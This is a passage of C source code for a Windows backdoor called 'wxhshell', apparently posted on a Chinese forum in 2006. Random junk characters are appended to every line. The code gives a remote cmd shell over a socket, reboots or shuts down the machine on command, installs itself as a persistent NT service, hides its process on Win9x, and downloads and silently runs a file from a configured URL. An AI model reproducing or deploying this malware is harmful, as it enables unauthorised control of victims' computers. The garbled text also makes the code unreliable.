  X.TI>90{  
  // 帮助 z~\t|Z]G,|  
  case '?': { w%zRHf8C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w ;e(Gb%9  
    break; .{S8f#p9T  
  } Ei2%DMN7)  
  // 安装 8/"fWm/  
  case 'i': { [>|FB'  
    if(Install()) wP/A^Rs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k;5Pom  
    else &''WRgZ}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J/6`oh?,Q  
    break; %AW4.3()8  
    } 9RwawTM  
  // 卸载 Krs2Gre}  
  case 'r': { ^W7X(LQ*+  
    if(Uninstall()) x^*1gv $o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6yy;JQAke  
    else Yh)Isg|0>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {w <+_++  
    break; CD0VfA>Z  
    } J/A[45OD  
  // 显示 wxhshell 所在路径 A!63p$VT;  
  case 'p': { @d&/?^dp6  
    char svExeFile[MAX_PATH]; |~<N -~.C  
    strcpy(svExeFile,"\n\r"); _u}4j9T  
      strcat(svExeFile,ExeFile); 5yVkb*8HS  
        send(wsh,svExeFile,strlen(svExeFile),0); ~3RC>8*Qw  
    break; tM j1~ R  
    } pA4*bO+  
  // 重启 Z"s|]K "  
  case 'b': { A*tKF&U5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S. |FL%;  
    if(Boot(REBOOT)) 8Q)@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); },[;O^Do^{  
    else { +!0eu>~_&  
    closesocket(wsh); .C]cK%OO N  
    ExitThread(0); \.gEh1HW  
    } !q"CV  
    break; 0D~ C 5}/4  
    } [hRU&z;W  
  // 关机 N]YtLa,t  
  case 'd': { OJb*VtZz5R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {I{:GcS  
    if(Boot(SHUTDOWN)) AD('=g J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XUV!C 7  
    else { j*;N\;iL!*  
    closesocket(wsh); M*pRv  
    ExitThread(0); fMf&?`V  
    } |vFj*XU  
    break; W2wpcc  
    } G&f7+e  
  // 获取shell YW; Hk1  
  case 's': { 8X?>=tl  
    CmdShell(wsh); =GR 'V  
    closesocket(wsh); &GWkq>  
    ExitThread(0); giavJ|  
    break; `xKFqx:e  
  } q\9d6u=Gm  
  // 退出 H]#Rg`~n  
  case 'x': { } PeZO!K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?PPZp6A3L=  
    CloseIt(wsh); s* j fMY  
    break; UmKX*T9  
    } 99iUOw c  
  // 离开 b*,3< 9  
  case 'q': { ,7d|O}B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CL7Nr@  
    closesocket(wsh); v vE\  
    WSACleanup(); D>wZ0p b-  
    exit(1); 8}BBOD  
    break; Q*O<@   
        } ?$%%Mp(  
  } mgkyC5)d  
  } "2Op[~V  
%c6E-4b  
  // 提示信息 (B`sQw@tu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <`g3(?   
} d34Y'r  
  } ;rBp1[qVe  
H}b\`N[nr  
  return; oO=o|w|T  
} !Ua&0s%  
w+f=RHX"{  
// shell模块句柄 xRX>|S  
int CmdShell(SOCKET sock) jQtSwVDr  
{ XizPMN5a  
STARTUPINFO si; y @apJ;_R-  
ZeroMemory(&si,sizeof(si)); J4yt N3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gq]d:-7l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m)f|:MM  
PROCESS_INFORMATION ProcessInfo; g#W_S?  
char cmdline[]="cmd"; l C\E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  ^Omfe  
  return 0; 9 qH[o?]  
} C+l?k2  
8B@J Fpg^  
// 自身启动模式 zk>h u<_  
int StartFromService(void) =s[ &;B`s  
{ D<nxr~pQ  
typedef struct v["3  
{ AMk~dzNt  
  DWORD ExitStatus; Bxv8RB  
  DWORD PebBaseAddress; 1VfSSO  
  DWORD AffinityMask; f9'] jJ+  
  DWORD BasePriority; K}2Npo FS  
  ULONG UniqueProcessId; n>llSK  
  ULONG InheritedFromUniqueProcessId; 97x%w]kV  
}   PROCESS_BASIC_INFORMATION; /2h][zrZ[.  
%CT!$Y'n  
PROCNTQSIP NtQueryInformationProcess; QGPR.<D)B  
UB&2f>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C ktX0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N5\{yV21",  
X')S;KW  
  HANDLE             hProcess; #`j][F@N  
  PROCESS_BASIC_INFORMATION pbi; /c^e& D  
4e/cqN 6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0P9Wy!f7  
  if(NULL == hInst ) return 0; (C~dkR?  
5bBCpNa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `Qq/ F]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !Mil?^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]BfR.,,  
)G4rJ~#@  
  if (!NtQueryInformationProcess) return 0; I{<;;;a  
-aN":?8(G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xOM_R2Md  
  if(!hProcess) return 0; ._ih$=   
ZvyjMLf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wWFW,3b  
"GLYyC  
  CloseHandle(hProcess); MHNe>C-!q  
{jhcZ"#>\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iUCwKpb9  
if(hProcess==NULL) return 0; r./z,4A`  
CKN8z  
HMODULE hMod; z'e1"Y.  
char procName[255]; {9'hOi50  
unsigned long cbNeeded; TnxU/)  
2 mq%|VG'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E- KK  
xiJz`KD&  
  CloseHandle(hProcess); !?n50  
4[xA- \  
if(strstr(procName,"services")) return 1; // 以服务启动 d v[\.T`LY  
*G9 [j$  
  return 0; // 注册表启动 F_ _H(}d  
} `%%?zgY  
2| $k`I,  
// 主模块 Kv1vx*>  
int StartWxhshell(LPSTR lpCmdLine) hOl=W |)v  
{ T7ki/hjRb  
  SOCKET wsl; V-:`+&S{^  
BOOL val=TRUE; Kf&r21h  
  int port=0; { $X X  
  struct sockaddr_in door; *<?XTs<  
n)Hk8)^8  
  if(wscfg.ws_autoins) Install(); jPj 2  
(Q\\Gw   
port=atoi(lpCmdLine); -t%L#1k  
OAY8,C=M  
if(port<=0) port=wscfg.ws_port; a2[ 8wv1  
v=j>^F Z  
  WSADATA data; q?1yE@th  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4 ;^g MI9  
F1E. \l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _>;&-e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _,t&C7Yf;  
  door.sin_family = AF_INET; sb`&bA;i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TJE% U0Ln  
  door.sin_port = htons(port); jjYM3LQcdP  
|}%(6<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9y;y7i{>?  
closesocket(wsl); #!wsD7;  
return 1; otoBb^Mz  
} !+5C{Hs2  
)K8P+zn~  
  if(listen(wsl,2) == INVALID_SOCKET) { dG" K/|  
closesocket(wsl); EqVsxwa  
return 1; 7:#  
} 'n>EEQyp'  
  Wxhshell(wsl); S3b|wUf  
  WSACleanup(); ?VUgwP_=  
9/FG,9  
return 0; jC#`PA3m=  
,0BR-#  
} fm[_@L% x  
!-F^VGD(8  
// 以NT服务方式启动 +SO2M|ru&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h=!M6yap<  
{ GJ.kkTMT  
DWORD   status = 0; mu 2 A%"7  
  DWORD   specificError = 0xfffffff; j l}!T[5  
?e"Wu+q~L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'y'T'2N3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~*jsB=XM/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vYYS .ve  
  serviceStatus.dwWin32ExitCode     = 0; KuIBYaK, g  
  serviceStatus.dwServiceSpecificExitCode = 0; 71JM [2  
  serviceStatus.dwCheckPoint       = 0; lb-S0plw  
  serviceStatus.dwWaitHint       = 0; v<{wA`'R+  
,:Rft  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )>-77\  
  if (hServiceStatusHandle==0) return; m(8jSGV  
 )GB3=@  
status = GetLastError(); JmnBq<&,0  
  if (status!=NO_ERROR) :D<:N*9i  
{ V"w`!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Uc_'3|e  
    serviceStatus.dwCheckPoint       = 0; w> Tyk#7lw  
    serviceStatus.dwWaitHint       = 0; Y1#-^,qg  
    serviceStatus.dwWin32ExitCode     = status; ?BWHr(J  
    serviceStatus.dwServiceSpecificExitCode = specificError; sKe9at^E]>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  %zA2%cq<  
    return; A2}Z *U(;  
  } @SKO~?7T  
%KbBH:z05  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7p P|  
  serviceStatus.dwCheckPoint       = 0; +io;K]C  
  serviceStatus.dwWaitHint       = 0; Q3N y5G>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %GVEY  
} B rez&3[  
[$hptQv  
// 处理NT服务事件,比如:启动、停止 3g?MEM~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [z W_%O kP  
{ ^U-vD[O8  
switch(fdwControl) dNR7e   
{ zF[3%qZE:T  
case SERVICE_CONTROL_STOP: =fKhXd  
  serviceStatus.dwWin32ExitCode = 0; R=][>\7]}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nu\  
  serviceStatus.dwCheckPoint   = 0; Zp/qs z(]  
  serviceStatus.dwWaitHint     = 0; K[iY{  
  { 8L]gQ g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q\&AlV  
  } ^q4l4)8jX  
  return; ZTQ$Ol+{ q  
case SERVICE_CONTROL_PAUSE: sh',"S#=@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H B::0l<  
  break; R-g>W  
case SERVICE_CONTROL_CONTINUE: 9s;!iDFn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4FfwpO3,Ku  
  break; ^yn[QWFO  
case SERVICE_CONTROL_INTERROGATE: u\Nw:Uu i  
  break; 9pVf2|5hj  
}; N}8HK^n*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zPX=MfF  
} e.3sAUHZ-  
?:#>^eWYe7  
// 标准应用程序主函数 $Nt=gSWw5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %0ll4"  
{ `@u+u0  
XPc9z}/(e  
// 获取操作系统版本 *pcbwd!/  
OsIsNt=GetOsVer(); 7$q2v=tH_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S7Iu?R_I  
+P> A P&  
  // 从命令行安装 u7WTSL%  
  if(strpbrk(lpCmdLine,"iI")) Install(); f^[{k {t  
~xlMHf  
  // 下载执行文件 zVc7q7E  
if(wscfg.ws_downexe) { !T#8N7J>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Rk437vQD,  
  WinExec(wscfg.ws_filenam,SW_HIDE); +(I`@5  
} ;qT!fuN;  
'b=eC  
if(!OsIsNt) { Z3X&<Y5  
// 如果时win9x,隐藏进程并且设置为注册表启动 j{7ilo(i  
HideProc(); 6]@|7|N>X  
StartWxhshell(lpCmdLine);  H3/Y  
} |mQtjo  
else t[f9Z  
  if(StartFromService()) B>p0FQ.  
  // 以服务方式启动 ={mPg+Ei'  
  StartServiceCtrlDispatcher(DispatchTable); OIXAjU*N  
else m>Z\ rqOK  
  // 普通方式启动 bgzT3KZ  
  StartWxhshell(lpCmdLine); .^)C:XiW  
Rktn/Vi  
return 0; 0?5%  
}
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只看该作者 1 发表于: 2006-10-10
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